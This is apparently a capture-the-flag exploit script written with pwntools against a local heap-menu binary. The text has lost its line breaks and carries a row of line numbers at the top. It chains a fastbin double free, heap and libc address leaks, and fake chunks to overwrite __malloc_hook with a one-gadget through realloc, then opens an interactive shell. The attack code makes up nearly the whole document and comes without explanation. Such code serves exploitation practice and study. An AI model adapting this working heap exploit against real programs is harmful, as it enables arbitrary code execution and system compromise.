1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
|
import sys from pwn import *
context.log_level = 'debug' context(arch='amd64', os='linux')
sh = process('./1') elf =ELF('./1') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def Num(n, l=8): sh.sendline(str(n))
def Cmd(n, wait=True): if(wait): sh.recvuntil(' :') Num(n)
def Add(size, cont=''): if(len(cont)==0): cont = 'A'*(size-1)+'\n' Cmd(1) sh.recvuntil(':\n') Num(size) sh.recvuntil(':\n') sh.send(cont)
def Show(idx): Cmd(2) sh.recvuntil(':\n') Num(idx)
def Delete(idx): Cmd(3) sh.recvuntil(':\n') Num(idx)
def GDB(): gdb.attach(sh, ''' telescope (0x202040+0x0000555555554000) 16 break *malloc ''')
Add(0x48) Add(0x48) Add(0x58, 'A'*0x40+flat(0, 0x51)+'\n') Add(0x58) Add(0x58, 'A'*0x30+flat(0, 0x21, 0, 0)+'\n')
Delete(0) Delete(1) Delete(0)
Show(0) heap_addr = u64(sh.recv(6)+'\x00\x00')-0x170
Add(0x48, flat(heap_addr+0x210)+'\n') Add(0x48) Add(0x48) Add(0x48, flat(0, 0xA1)+'\n')
Delete(3)
Show(3) libc.address = u64(sh.recv(6)+'\x00\x00')-0x3c4b78 sys = libc.address + libc.sym['system']
Delete(0) Delete(1) Delete(0)
Add(0x48, flat(0x61)+'\n')
sh.recvuntil('clear done!\n') Num(666)
Add(0x48) Add(0x48)
Add(0x58) Add(0x58)
Delete(2) Delete(3) Delete(2)
Add(0x58, flat(libc.address+0x3c4b38)+'\n') Add(0x58) Add(0x58)
Add(0x58, '\x00'*0x30+flat(libc.symbols['__malloc_hook']-0x28)[0:6]+'\n')
OGG = libc.address+0x4527a exp = flat(0, 0) exp+= flat(OGG) exp+= flat(libc.symbols['realloc']+8)
Add(0x58, exp+'\n')
Cmd(1) sh.recvuntil(':\n') Num(1)
sh.interactive()
|